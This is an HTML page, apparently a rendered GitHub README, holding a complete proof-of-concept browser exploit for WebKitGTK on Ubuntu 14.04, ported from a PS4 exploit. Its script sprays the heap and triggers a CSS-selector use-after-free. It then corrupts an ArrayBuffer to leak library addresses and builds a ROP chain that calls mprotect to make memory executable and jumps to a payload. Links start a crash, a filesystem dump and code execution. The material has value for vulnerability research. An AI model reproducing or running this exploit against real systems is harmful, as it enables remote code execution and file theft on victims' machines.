README.md
Rendering markdown...
<html>
<style>html, a1,a2,a3,a4,a5,a6 em:nth-child(5){
height: 500px
}
</style>
<script>
/*
* Author: Ren Kimura (@RKX1209)
* Tested to work on up to date Ubuntu 14.04.
* NOTE: Original PS4 exploit is here.
* https://github.com/Fire30/PS4-2014-1303-POC
*/
var shui = new Array(0x1000);
var inputs = new Array(0x500);
var arraybufferviews = new Array(0x500);
var corrupted = undefined;
var u32;
var cbuf;
var payload_addr_low = 0x100000, payload_addr_high = 0, payload_size = 0x1000;
var rop_chain = [];
var js_core_base_addr;
var webkitgtk_base_addr;
var webkitgtk_data_addr;
var libc_base_addr;
var bss_addr;
var js_core_base_addr_low, js_core_base_addr_high;
var webkitgtk_base_addr_low, webkitgtk_base_addr_high;
var webkitgtk_data_addr_low, webkitgtk_data_addr_high;
var libc_base_addr_low, libc_base_addr_high;
var bss_addr_low, bss_addr_high;
function load() {
// Align the memory how we want it
for(var i = 0; i < shui.length;i+=2)
{
inputs[i/2] = document.createElement("input");
inputs[i/2].type = "number";
shui[i] = new ArrayBuffer(0x40);
shui[i + 1] = new ArrayBuffer(0x20000);
}
// Trigger the vulnrablity.
var cssRules = window.getMatchedCSSRules(document.documentElement);
cssRules[0].selectorText = 'a1,a2';
// Free the input elements and put in our ArrayBufferView objects
for(var i = 0; i < inputs.length;i+=1)
{
inputs[i].type = "";
arraybufferviews[i] = new Uint32Array(shui[i/2]);
// Need a value to find in memory
arraybufferviews[i][0] = 0x77777777;
}
// Start the actual exploit
setTimeout(exploit_init, 0);
}
function exploit_init()
{
// Find the ArrayBuffer that has had it size modified
for (var i = 0; i < shui.length; ++i) {
if (shui[i].byteLength == 0xc0) {
corrupted = shui[i];
debug_log("Found corrupted index at 0x" + i.toString(16));
console.log("Found corrupted index at 0x" + i.toString(16));
break;
}
}
// If we find nothing, crash the application.
// Shouldn't happen based on how tcmalloc allocates memory
if(!corrupted)
{
debug_log("Couldn't find corrupted element...!")
console.log("Couldn't find corrupted element...!")
return;
}
u32 = new Uint32Array(corrupted);
// Need to find the ArrayBufferView that we have control over
u32[0x18] += 0x10;
for(var i = 0; i < arraybufferviews.length;i++)
{
tmp_array = arraybufferviews[i].subarray(0,arraybufferviews[i].length);
if(tmp_array[0] != 0x77777777 && arraybufferviews[i].length > 0x40)
{
cbuf = arraybufferviews[i];
u32[0x18] -= 0x10;
debug_log("Found controlled arraybufferview!")
console.log("Found controlled arraybufferview!")
break;
}
}
// Need to keep track of where the buffer is
oldlow = u32[0x14]
oldhigh = u32[0x15]
// Various calculations to get the base addresses of libraries that we use gadgets for
// Javascript is stupid and doesn't support 64bit integers so we need to use 3rd party lib
var vtable_addr = new dcodeIO.Long(u32[0x10], u32[0x11], true)
js_core_base_addr = vtable_addr.sub(0x3d4ff90); //libjavascriptcoregtk.so
webkitgtk_base_addr = js_core_base_addr.add(0x22ee000); //libwebkitgtk.so
webkitgtk_data_addr = js_core_base_addr.add(0x3e82000); //libwebkitgtk.so [data]
libc_base_addr = js_core_base_addr.add(0x766000); //libc-2.19.so
bss_addr = new dcodeIO.Long(0x607450, 0, true); // readelf -S ./Programs/GtkLauncher
js_core_base_addr_low = js_core_base_addr.getLowBitsUnsigned()
js_core_base_addr_high = js_core_base_addr.getHighBitsUnsigned()
webkitgtk_base_addr_low = webkitgtk_base_addr.getLowBitsUnsigned()
webkitgtk_base_addr_high = webkitgtk_base_addr.getHighBitsUnsigned()
libc_base_addr_low = libc_base_addr.getLowBitsUnsigned()
libc_base_addr_high = libc_base_addr.getHighBitsUnsigned()
webkitgtk_data_addr_low = webkitgtk_data_addr.getLowBitsUnsigned()
webkitgtk_data_addr_high = webkitgtk_data_addr.getHighBitsUnsigned()
bss_addr_low = bss_addr.getLowBitsUnsigned()
bss_addr_high = bss_addr.getHighBitsUnsigned()
debug_log("vtable address = 0x" + vtable_addr.toString(16))
debug_log("libjavascriptcore base address = 0x" + js_core_base_addr.toString(16))
debug_log("webkitgtk base address = 0x" + webkitgtk_base_addr.toString(16))
debug_log("webkitgtk data address = 0x" + webkitgtk_data_addr.toString(16))
debug_log("libc base address = 0x" + libc_base_addr.toString(16))
// vtable pointer to byteLength
// The instruction pushes rax, and jmps to *rax
// gadget: push rax; jmp qword [rax]
cbuf[2] = webkitgtk_base_addr_low + 0x497a
cbuf[3] = webkitgtk_base_addr_high
// *rax is the first element in our array.
// pop rsp then jmps to *(rax + 0x30)
// gadget: pop rsp ; mov rax, qword [rax+0x30] ; jmp rax
cbuf[0] = webkitgtk_base_addr_low + 0xa2cd52
cbuf[1] = webkitgtk_base_addr_high
// adds 0x48 to rsp
// so stack pointer will point to cbuf[0x12]
cbuf[0xc] = webkitgtk_base_addr_low + 0x40aefc
cbuf[0xd] = webkitgtk_base_addr_high
// rbp is invalid address. So, firstly changed it to valid address.
// pop rbp ; ret
rop_chain.push (webkitgtk_base_addr_low + 0x1f0709)
rop_chain.push (webkitgtk_base_addr_high)
rop_chain.push (webkitgtk_data_addr_low + 0x1000)
rop_chain.push (webkitgtk_base_addr_high)
debug_log("Initilization completed.")
}
function crash_rop()
{
debug_log("Overwriting vtable and executing Crash ROP chain!")
// Make the u32 ArrayBufferView::vtable point to our buffer(pointed by u32.m_baseAddress)
// i.e. u32.vtable = u32.m_baseAddress (jump to buf)
u32[0x10] = u32[0x14];
u32[0x11] = u32[0x15];
// Write the rop chain to the buffer
rop_chain.push(0xdeadbeef)
rop_chain.push(0xdeadbeef)
inject_ropcode(rop_chain)
// Starts execution of our rop chain (call vtable)
cbuf.byteLength; // call *0x8(%rax) => firstly jump to cbuf[2]
}
function chg_perm_memory()
{
debug_log("Changing memory permission to rwx...")
var nr_mprotect = 10;
//Change webkitgtk data area (rwx)
syscall("mprotect", nr_mprotect, new dcodeIO.Long(webkitgtk_data_addr_low & ~0xFFF, webkitgtk_data_addr_high, true),
new dcodeIO.Long(0x10, 0, true),
new dcodeIO.Long(1 | 2 | 4, 0, true));
//Change bss area (rwx)
syscall("mprotect", nr_mprotect, new dcodeIO.Long(bss_addr_low & ~0xFFF, bss_addr_high, true),
new dcodeIO.Long(0x10, 0, true),
new dcodeIO.Long(1 | 2 | 4, 0, true));
}
function code_exec()
{
debug_log("Execute code!");
u32[0x10] = u32[0x14];
u32[0x11] = u32[0x15];
chg_perm_memory()
// pop rax ; ret
rop_chain.push(webkitgtk_base_addr_low + 0x72a20)
rop_chain.push(webkitgtk_base_addr_high)
rop_chain.push(webkitgtk_data_addr_low);
rop_chain.push(webkitgtk_data_addr_high);
// rax == webkitgtk data
// jump to webkitgtk data address (rwx)
// jmp rax ;
rop_chain.push(webkitgtk_base_addr_low + 0x217181)
rop_chain.push(webkitgtk_base_addr_high)
// now, payload is loaded at bss address
// jump to bss address (rwx)
rop_chain.push(bss_addr_low & ~0xFFF);
rop_chain.push(bss_addr_high);
inject_ropcode (rop_chain)
write_loader(webkitgtk_data_addr_low, webkitgtk_base_addr_high);
cbuf.byteLength; // call *0x8(%rax) => firstly jump to cbuf[2]
}
</script>
<script src="/scripts/jquery.min.js"></script>
<script src="/scripts/long.js"></script>
<script src="/scripts/utils.js"></script>
<script src="/scripts/roputil.js"></script>
<script src="/scripts/syscall.js"></script>
<script src="/scripts/code.js"></script>
<a href="javascript:crash_rop()">Crash ROP</a>
<a href="javascript:get_pid()">Get PID</a>
<a href="javascript:fs_dump()">FileSystem dump</a>
<a href="javascript:code_exec()">Code Execution</a>
<iframe onload=load()>
</html>